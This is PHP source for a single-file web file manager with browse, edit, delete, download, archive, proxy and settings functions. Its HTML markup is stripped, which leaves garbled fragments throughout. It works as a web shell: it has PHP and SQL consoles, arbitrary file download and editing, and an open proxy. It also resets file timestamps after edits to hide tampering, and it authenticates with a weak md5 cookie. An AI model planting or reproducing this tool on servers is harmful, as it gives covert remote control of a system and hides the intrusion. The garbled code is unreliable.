background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return ''.$name.' ';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' ';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= ' ';
}
return '
'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
'.__('File manager').'
'.__('Login').'
'.__('Password').'
'.fm_lang_form($language).'
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%()%i', '$1'.''.$proxy_form, $result);
echo $result;
die();
}
}
?>
=__('File manager')?>
'.__('File manager').' - '.__('Settings').'
'.(empty($msg)?'':''.$msg.' ').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
SQL server
SQL user
SQL password
SQL DB
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
'.__('Reset settings').'
';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
'.strtoupper($res_lng).' '.__('Result').''.$fun($res).' ';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').' ('.count($search_data).'): ';
foreach ($search_data as $filename) {
$msg .= ''.basename($filename).' ';
}
} else {
$msg .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete') . ' ';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete').' ';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete').' ';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
=__('Filename')?>
=__('Size')?>
=__('Date')?>
=__('Rights')?>
=__('Manage')?>
'.$file.'';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? ' '.$file.' '
: ' '.$file.' ';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '' . __('Delete') . ' ';
$renamelink = fm_root($file) ? '' : '' . __('Rename') . ' ';
$rightstext = ($file=='.' || $file=='..') ? '' : '' . @fm_rights_string($filename) . ' ';
?>
=$link?>
=$filedata[7]?>
=gmdate("Y-m-d H:i:s",$filedata[9])?>
=$rightstext?>
=$deletelink?>
=$renamelink?>
=$loadlink?>
=$arlink?>
Github |
. ';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' |
proxy ';
if (!empty($fm_config['show_phpinfo'])) echo ' |
phpinfo ';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' |
xls ';
if (!empty($fm_config['fm_settings'])) echo ' |
'.__('Settings').' ';
?>
errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': ';
foreach ($Errors as $value)
$message .= $value.' ';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $iarchive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>
